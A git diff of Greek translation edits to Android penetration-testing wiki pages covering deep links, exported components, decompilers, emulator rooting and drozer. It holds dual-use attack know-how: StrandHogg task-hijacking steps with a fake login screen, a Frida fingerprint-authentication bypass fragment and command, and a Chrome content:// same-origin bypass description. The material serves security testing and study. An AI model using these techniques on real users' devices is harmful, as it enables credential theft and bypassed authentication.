Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **πρόσβαση σε ένα URL με αυτό το scheme**, η καθορισμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
|
||||
Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** μέσα σε μια δραστηριότητα. Όταν μια συσκευή Android προσπαθεί να **πρόσβαση σε ένα URL με αυτό το scheme**, η καθορισμένη δραστηριότητα μέσα στην εφαρμογή εκκινείται.
|
||||
|
||||
Το scheme πρέπει να δηλωθεί στο **`AndroidManifest.xml`** αρχείο:
|
||||
```xml
|
||||
@ -246,11 +246,11 @@ android:host="example"
|
||||
```
|
||||
Όχι όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές χωρίς διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
|
||||
|
||||
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "εξαγόμενες" στο μανιφέστο. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινούν αυτή τη δραστηριότητα:
|
||||
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διαδικασίες σημειώνοντάς τες ως "εξαγόμενες" στο μανιφέστο. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινούν αυτή τη δραστηριότητα:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από άλλη εφαρμογή δεν είναι πάντα κίνδυνος ασφαλείας. Η ανησυχία προκύπτει αν ευαίσθητα δεδομένα μοιράζονται ακατάλληλα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
|
||||
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν είναι πάντα κίνδυνος ασφαλείας. Η ανησυχία προκύπτει αν ευαίσθητα δεδομένα μοιράζονται ακατάλληλα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
|
||||
|
||||
Ο κύκλος ζωής μιας δραστηριότητας **ξεκινά με τη μέθοδο onCreate**, ρυθμίζοντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
|
||||
|
||||
@ -286,7 +286,7 @@ super.onCreate();
|
||||
|
||||
**Broadcast receivers** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκριθούν στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν δέκτη** με **δύο κύριους τρόπους**: μέσω του **Manifest** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του **`registerReceiver`** API. Στο Manifest, οι εκπομπές φιλτράρονται με άδειες, ενώ οι δυναμικά καταχωρημένοι δέκτες μπορούν επίσης να καθορίσουν άδειες κατά την καταχώρηση.
|
||||
|
||||
**Intent filters** είναι κρίσιμα και στους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον δέκτη. Μόλις σταλεί μια αντίστοιχη εκπομπή, η μέθοδος **`onReceive`** του δέκτη καλείται, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, όπως προσαρμόζοντας τη συμπεριφορά της σε μια ειδοποίηση χαμηλής μπαταρίας.
|
||||
**Intent filters** είναι κρίσιμα και στις δύο μεθόδους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον δέκτη. Μόλις σταλεί μια αντίστοιχη εκπομπή, η μέθοδος **`onReceive`** του δέκτη καλείται, επιτρέποντας στην εφαρμογή να αντιδράσει αναλόγως, όπως η προσαρμογή της συμπεριφοράς σε απάντηση σε μια ειδοποίηση χαμηλής μπαταρίας.
|
||||
|
||||
Οι εκπομπές μπορεί να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους δέκτες χωρίς σειρά, είτε **συγχρονισμένες**, όπου οι δέκτες λαμβάνουν την εκπομπή με βάση καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο πιθανός κίνδυνος ασφαλείας, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμποδίσει μια εκπομπή.
|
||||
|
||||
@ -298,7 +298,7 @@ super.onCreate();
|
||||
|
||||
Η επικύρωση εισόδου είναι πρωταρχικής σημασίας για την αποφυγή ευπαθειών, όπως η SQL injection. Οι Content Providers υποστηρίζουν βασικές λειτουργίες: `insert()`, `update()`, `delete()`, και `query()`, διευκολύνοντας τη χειρισμό και την κοινή χρήση δεδομένων μεταξύ εφαρμογών.
|
||||
|
||||
**FileProvider**, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν στις ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για την αποφυγή της τυχαίας έκθεσης ευαίσθητων δεδομένων.
|
||||
**FileProvider**, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν στις ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για να αποφευχθεί η τυχαία έκθεση ευαίσθητων δεδομένων.
|
||||
|
||||
Παράδειγμα δήλωσης manifest για FileProvider:
|
||||
```xml
|
||||
@ -323,7 +323,7 @@ android:resource="@xml/filepaths" />
|
||||
|
||||
## WebViews
|
||||
|
||||
Τα WebViews είναι σαν **μικροί περιηγητές ιστού** μέσα σε εφαρμογές Android, αντλώντας περιεχόμενο είτε από το διαδίκτυο είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς περιηγητές, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
|
||||
Τα WebViews είναι σαν **μικροί περιηγητές ιστού** μέσα σε εφαρμογές Android, αντλώντας περιεχόμενο είτε από το διαδίκτυο είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς περιηγητές, ωστόσο υπάρχουν τρόποι για **μείωση αυτών των κινδύνων** μέσω συγκεκριμένων **ρυθμίσεων**.
|
||||
|
||||
Η Android προσφέρει δύο κύριους τύπους WebView:
|
||||
|
||||
|
||||
@ -8,10 +8,10 @@
|
||||
|
||||
Ακολουθεί μια γρήγορη ανάλυση των μεταβάσεων δραστηριοτήτων:
|
||||
|
||||
- **Activity 1** ξεκινά ως η μοναδική δραστηριότητα στο προσκήνιο.
|
||||
- Η εκκίνηση της **Activity 2** σπρώχνει την **Activity 1** στο back stack, φέρνοντας την **Activity 2** στο προσκήνιο.
|
||||
- **Activity 1** ξεκινά ως η μοναδική δραστηριότητα στο foreground.
|
||||
- Η εκκίνηση της **Activity 2** σπρώχνει την **Activity 1** στο back stack, φέρνοντας την **Activity 2** στο foreground.
|
||||
- Η εκκίνηση της **Activity 3** μετακινεί την **Activity 1** και την **Activity 2** πιο πίσω στο stack, με την **Activity 3** τώρα μπροστά.
|
||||
- Το κλείσιμο της **Activity 3** φέρνει την **Activity 2** πίσω στο προσκήνιο, επιδεικνύοντας τον απλοποιημένο μηχανισμό πλοήγησης εργασιών του Android.
|
||||
- Το κλείσιμο της **Activity 3** φέρνει την **Activity 2** πίσω στο foreground, επιδεικνύοντας τον απλοποιημένο μηχανισμό πλοήγησης εργασιών του Android.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -19,19 +19,19 @@
|
||||
|
||||
### Overview of Task Affinity and Launch Modes
|
||||
|
||||
Στις εφαρμογές Android, η **task affinity** καθορίζει την προτιμώμενη task μιας δραστηριότητας, ευθυγραμμισμένη συνήθως με το όνομα πακέτου της εφαρμογής. Αυτή η ρύθμιση είναι καθοριστική για τη δημιουργία μιας εφαρμογής proof-of-concept (PoC) για την επίδειξη της επίθεσης.
|
||||
Στις εφαρμογές Android, η **task affinity** καθορίζει την προτιμώμενη εργασία μιας δραστηριότητας, ευθυγραμμισμένη συνήθως με το όνομα πακέτου της εφαρμογής. Αυτή η ρύθμιση είναι καθοριστική για τη δημιουργία μιας εφαρμογής proof-of-concept (PoC) για την επίδειξη της επίθεσης.
|
||||
|
||||
### Launch Modes
|
||||
|
||||
Το χαρακτηριστικό `launchMode` κατευθύνει τη διαχείριση των παραδειγμάτων δραστηριοτήτων μέσα σε tasks. Η λειτουργία **singleTask** είναι κρίσιμη για αυτή την επίθεση, καθορίζοντας τρία σενάρια με βάση τα υπάρχοντα παραδείγματα δραστηριοτήτων και τις αντιστοιχίες task affinity. Η εκμετάλλευση βασίζεται στην ικανότητα της εφαρμογής του επιτιθέμενου να μιμείται την task affinity της στοχευμένης εφαρμογής, παραπλανώντας το σύστημα Android να εκκινήσει την εφαρμογή του επιτιθέμενου αντί για την προοριζόμενη στόχο.
|
||||
Το χαρακτηριστικό `launchMode` κατευθύνει τη διαχείριση των περιπτώσεων δραστηριοτήτων μέσα σε εργασίες. Η λειτουργία **singleTask** είναι καθοριστική για αυτή την επίθεση, καθορίζοντας τρία σενάρια με βάση τις υπάρχουσες περιπτώσεις δραστηριοτήτων και τις αντιστοιχίες task affinity. Η εκμετάλλευση βασίζεται στην ικανότητα της εφαρμογής του επιτιθέμενου να μιμείται την task affinity της στοχευμένης εφαρμογής, παραπλανώντας το σύστημα Android να εκκινήσει την εφαρμογή του επιτιθέμενου αντί για την προοριζόμενη στόχο.
|
||||
|
||||
### Detailed Attack Steps
|
||||
|
||||
1. **Malicious App Installation**: Το θύμα εγκαθιστά την εφαρμογή του επιτιθέμενου στη συσκευή του.
|
||||
2. **Initial Activation**: Το θύμα ανοίγει πρώτα την κακόβουλη εφαρμογή, προετοιμάζοντας τη συσκευή για την επίθεση.
|
||||
3. **Target App Launch Attempt**: Το θύμα προσπαθεί να ανοίξει την στοχευμένη εφαρμογή.
|
||||
4. **Hijack Execution**: Λόγω της αντιστοιχίας task affinity, η κακόβουλη εφαρμογή εκκινείται αντί της στοχευμένης εφαρμογής.
|
||||
5. **Deception**: Η κακόβουλη εφαρμογή παρουσιάζει μια ψεύτικη οθόνη σύνδεσης που μοιάζει με την στοχευμένη εφαρμογή, εξαπατώντας τον χρήστη να εισάγει ευαίσθητες πληροφορίες.
|
||||
4. **Hijack Execution**: Λόγω της αντιστοιχίας task affinity, η κακόβουλη εφαρμογή εκκινείται στη θέση της στοχευμένης εφαρμογής.
|
||||
5. **Deception**: Η κακόβουλη εφαρμογή παρουσιάζει μια ψεύτικη οθόνη σύνδεσης που μοιάζει με την στοχευμένη εφαρμογή, παραπλανώντας τον χρήστη να εισάγει ευαίσθητες πληροφορίες.
|
||||
|
||||
Για μια πρακτική εφαρμογή αυτής της επίθεσης, ανατρέξτε στο αποθετήριο Task Hijacking Strandhogg στο GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
Ως ο πρωτοπόρος GUI Java decompiler, **JD-Gui** σας επιτρέπει να ερευνάτε τον κώδικα Java μέσα σε αρχεία APK. Είναι απλό στη χρήση; αφού αποκτήσετε το APK, απλώς ανοίξτε το με το JD-Gui για να επιθεωρήσετε τον κώδικα.
|
||||
Ως ο πρωτοπόρος GUI Java decompiler, **JD-Gui** σας επιτρέπει να εξερευνήσετε τον κώδικα Java μέσα σε αρχεία APK. Είναι απλό στη χρήση; Αφού αποκτήσετε το APK, απλώς ανοίξτε το με το JD-Gui για να επιθεωρήσετε τον κώδικα.
|
||||
|
||||
### [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
@ -28,7 +28,7 @@
|
||||
|
||||
**Enjarify** μεταφράζει τον Dalvik bytecode σε Java bytecode, επιτρέποντας στα εργαλεία ανάλυσης Java να αναλύουν τις εφαρμογές Android πιο αποτελεσματικά.
|
||||
|
||||
- Για να χρησιμοποιήσετε το Enjarify, εκτελέστε: `enjarify app.apk` Αυτό δημιουργεί τον αντίστοιχο Java bytecode του παρεχόμενου APK.
|
||||
- Για να χρησιμοποιήσετε το Enjarify, εκτελέστε: `enjarify app.apk` Αυτό δημιουργεί τον ισοδύναμο Java bytecode του παρεχόμενου APK.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
@ -53,10 +53,10 @@
|
||||
|
||||
Για απλή αποσυμπίεση με το **procyon**:
|
||||
|
||||
- Αποσυμπιέστε ένα αρχείο JAR σε καθορισμένο φάκελο: `procyon -jar "app.jar" -o "output_directory"`
|
||||
- Αποσυμπιέστε ένα αρχείο JAR σε έναν καθορισμένο φάκελο: `procyon -jar "app.jar" -o "output_directory"`
|
||||
|
||||
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
|
||||
|
||||
Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για να αποθηκεύσει το DEX ενός εκτελούμενου APK στη μνήμη. Αυτό βοηθά να ξεπεραστεί η στατική παραπλάνηση που αφαιρείται ενώ η εφαρμογή εκτελείται στη μνήμη.
|
||||
Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για να αποθηκεύσει το DEX μιας εκτελούμενης APK στη μνήμη. Αυτό βοηθά να παρακαμφθεί η στατική παραπλάνηση που αφαιρείται ενώ η εφαρμογή εκτελείται στη μνήμη.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) που θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/`
|
||||
Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) που θα τα εγκαταστήσει στο `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/`
|
||||
|
||||
Για τα προβλήματα με την Java:
|
||||
```java
|
||||
@ -52,7 +52,7 @@ _**επιλέξτε** το τηλέφωνο που θέλετε να χρησι
|
||||
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Έτσι, επιλέξτε το και αν δεν έχει κατέβει, κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**τώρα περιμένετε μέχρι να κατέβει η εικόνα).**\
|
||||
Μόλις κατέβει η εικόνα, απλά επιλέξτε **`Next`** και **`Finish`**.
|
||||
Μόλις η εικόνα κατέβει, απλά επιλέξτε **`Next`** και **`Finish`**.
|
||||
|
||||
Η εικονική μηχανή θα δημιουργηθεί. Τώρα **κάθε φορά που αποκτάτε πρόσβαση στον AVD manager, θα είναι παρούσα**.
|
||||
|
||||
@ -101,7 +101,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
Αφού έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **καταχωρήσετε όλες τις κατεβασμένες εικόνες Android** με:
|
||||
Αφού έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **καταγράψετε όλες τις κατεβασμένες εικόνες Android** με:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
@ -121,7 +121,7 @@ Revision: 4
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
Στην τελευταία εντολή **δημιούργησα μια VM με όνομα** "_AVD9_" χρησιμοποιώντας τη ** συσκευή** "_Nexus 5X_" και την **εικόνα Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Στην τελευταία εντολή **δημιούργησα μια VM με το όνομα** "_AVD9_" χρησιμοποιώντας τη ** συσκευή** "_Nexus 5X_" και την **εικόνα Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Τώρα μπορείτε να **καταγράψετε τις εικονικές μηχανές** που έχετε δημιουργήσει με:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
@ -165,8 +165,8 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
||||
|
||||
**Δίκτυο**
|
||||
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέψτε να υποδείξετε τους διακομιστές DNS χωρισμένους με κόμμα στη VM.
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Επιτρέψτε να υποδείξετε έναν HTTP proxy προς χρήση (πολύ χρήσιμο για την καταγραφή της κίνησης χρησιμοποιώντας το Burp)
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει να υποδείξετε τους διακομιστές DNS χωρισμένους με κόμμα στη VM.
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει να υποδείξετε έναν HTTP proxy προς χρήση (πολύ χρήσιμο για την καταγραφή της κίνησης χρησιμοποιώντας το Burp)
|
||||
- `-port 5556` : Ορίστε τον αριθμό θύρας TCP που χρησιμοποιείται για την κονσόλα και το adb.
|
||||
- `-ports 5556,5559` : Ορίστε τις θύρες TCP που χρησιμοποιούνται για την κονσόλα και το adb.
|
||||
- **`-tcpdump /path/dumpfile.cap`** : Καταγράψτε όλη την κίνηση σε ένα αρχείο
|
||||
@ -185,7 +185,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το ριζώσω (ακολουθήστε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το ριζώσω (ακολουθήστε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό εδώ**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
|
||||
## Εγκατάσταση Πιστοποιητικού Burp
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Μέθοδος 1 – Παράκαμψη χωρίς Χρήση Crypto Object**
|
||||
|
||||
Η εστίαση εδώ είναι στο _onAuthenticationSucceeded_ callback, το οποίο είναι κρίσιμο στη διαδικασία αυθεντικοποίησης. Ερευνητές από την WithSecure ανέπτυξαν ένα [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), που επιτρέπει την παράκαμψη του NULL _CryptoObject_ στο _onAuthenticationSucceeded(...)_. Το script αναγκάζει μια αυτόματη παράκαμψη της αυθεντικοποίησης δακτυλικών αποτυπωμάτων κατά την κλήση της μεθόδου. Παρακάτω είναι ένα απλοποιημένο απόσπασμα που δείχνει την παράκαμψη σε ένα περιβάλλον Δακτυλικών Αποτυπωμάτων Android, με την πλήρη εφαρμογή διαθέσιμη στο [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
Η εστίαση εδώ είναι στο _onAuthenticationSucceeded_ callback, το οποίο είναι κρίσιμο στη διαδικασία αυθεντικοποίησης. Ερευνητές από την WithSecure ανέπτυξαν ένα [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), που επιτρέπει την παράκαμψη του NULL _CryptoObject_ στο _onAuthenticationSucceeded(...)_. Το script αναγκάζει μια αυτόματη παράκαμψη της αυθεντικοποίησης δακτυλικού αποτυπώματος κατά την κλήση της μεθόδου. Παρακάτω είναι ένα απλοποιημένο απόσπασμα που δείχνει την παράκαμψη σε ένα περιβάλλον Δακτυλικού Αποτυπώματος Android, με την πλήρη εφαρμογή διαθέσιμη στο [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
@ -56,7 +56,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
|
||||
Υπάρχουν εξειδικευμένα εργαλεία και σενάρια σχεδιασμένα για να δοκιμάσουν και να παρακάμψουν τους μηχανισμούς αυθεντικοποίησης. Για παράδειγμα:
|
||||
|
||||
1. **MAGISK Modules**: Το MAGISK είναι ένα εργαλείο για Android που επιτρέπει στους χρήστες να αποκτούν πρόσβαση root στις συσκευές τους και να προσθέτουν modules που μπορούν να τροποποιήσουν ή να παραποιήσουν πληροφορίες σε επίπεδο υλικού, συμπεριλαμβανομένων των δακτυλικών αποτυπωμάτων.
|
||||
1. **MAGISK Modules**: Το MAGISK είναι ένα εργαλείο για Android που επιτρέπει στους χρήστες να ριζώνουν τις συσκευές τους και να προσθέτουν modules που μπορούν να τροποποιήσουν ή να παραποιήσουν πληροφορίες σε επίπεδο υλικού, συμπεριλαμβανομένων των δακτυλικών αποτυπωμάτων.
|
||||
2. **Προσαρμοσμένα Σενάρια**: Σενάρια μπορούν να γραφούν για να αλληλεπιδρούν με το Android Debug Bridge (ADB) ή απευθείας με το backend της εφαρμογής για να προσομοιώσουν ή να παρακάμψουν την αυθεντικοποίηση με δακτυλικά αποτυπώματα.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
### Καταγραφή Αρχείων στο Media Store
|
||||
|
||||
Για να καταγράψετε τα αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
|
||||
Για να καταγράψετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
@ -17,7 +17,7 @@ $ content query --uri content://media/external/file --projection _id,_data
|
||||
|
||||
### Η Πρόσβαση του Chrome στους Παροχείς Περιεχομένου
|
||||
|
||||
Ο Chrome στο Android μπορεί να έχει πρόσβαση στους παροχείς περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που έχουν εξαχθεί από εφαρμογές τρίτων. Για να το εικονογραφήσουμε αυτό, μπορεί να εισαχθεί ένα αρχείο στο Media Store και στη συνέχεια να αποκτηθεί πρόσβαση μέσω του Chrome:
|
||||
Ο Chrome στο Android μπορεί να έχει πρόσβαση στους παροχείς περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το εικονογραφήσουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να προσπελαστεί μέσω του Chrome:
|
||||
|
||||
Εισάγετε μια προσαρμοσμένη καταχώρηση στο Media Store:
|
||||
```bash
|
||||
@ -41,11 +41,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
||||
```
|
||||
### Chrome CVE-2020-6516: Παράκαμψη Πολιτικής Ίδιων Προελεύσεων
|
||||
|
||||
Η _Πολιτική Ίδιων Προελεύσεων_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και επιθέσεων Cross-Site Request Forgery. Ο Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.
|
||||
Η _Πολιτική Ίδιων Προελεύσεων_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και πλαστογράφησης αιτημάτων από άλλες τοποθεσίες. Ο Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.
|
||||
|
||||
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, ο κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, γεγονός που ήταν σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις πριν από το Android 10, όπου η περιορισμένη αποθήκευση δεν είχε εφαρμοστεί.
|
||||
|
||||
Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού ανέβει κάτω από **/sdcard** και προστεθεί στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
|
||||
Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού ανέβει κάτω από **/sdcard** και προστεθεί στο Media Store, χρησιμοποιεί `XMLHttpRequest` στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
|
||||
|
||||
Απόδειξη της Έννοιας HTML:
|
||||
```xml
|
||||
|
||||
@ -42,7 +42,7 @@ drozer console connect
|
||||
| **Εντολές** | **Περιγραφή** |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | Εμφανίζει βοήθεια για το επιλεγμένο module |
|
||||
| **list** | Εμφανίζει μια λίστα με όλα τα drozer modules που μπορούν να εκτελούνται στην τρέχουσα συνεδρία. Αυτό κρύβει modules που δεν έχετε κατάλληλες άδειες για να εκτελέσετε. |
|
||||
| **list** | Εμφανίζει μια λίστα με όλα τα drozer modules που μπορούν να εκτελούνται στην τρέχουσα συνεδρία. Αυτό κρύβει modules για τα οποία δεν έχετε κατάλληλες άδειες εκτέλεσης. |
|
||||
| **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent. |
|
||||
| **clean** | Αφαιρεί τα προσωρινά αρχεία που αποθηκεύει το drozer στη συσκευή Android. |
|
||||
| **load** | Φορτώνει ένα αρχείο που περιέχει εντολές drozer και τις εκτελεί διαδοχικά. |
|
||||
@ -51,7 +51,7 @@ drozer console connect
|
||||
| **set** | Αποθηκεύει μια τιμή σε μια μεταβλητή που θα περαστεί ως περιβαλλοντική μεταβλητή σε οποιαδήποτε Linux shells που δημιουργεί το drozer. |
|
||||
| **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent |
|
||||
| **run MODULE** | Εκτελεί ένα drozer module |
|
||||
| **exploit** | Το Drozer μπορεί να δημιουργήσει exploits για εκτέλεση στη συσκευή. `drozer exploit list` |
|
||||
| **exploit** | Το drozer μπορεί να δημιουργήσει exploits για εκτέλεση στη συσκευή. `drozer exploit list` |
|
||||
| **payload** | Τα exploits χρειάζονται ένα payload. `drozer payload list` |
|
||||
|
||||
### Πακέτο
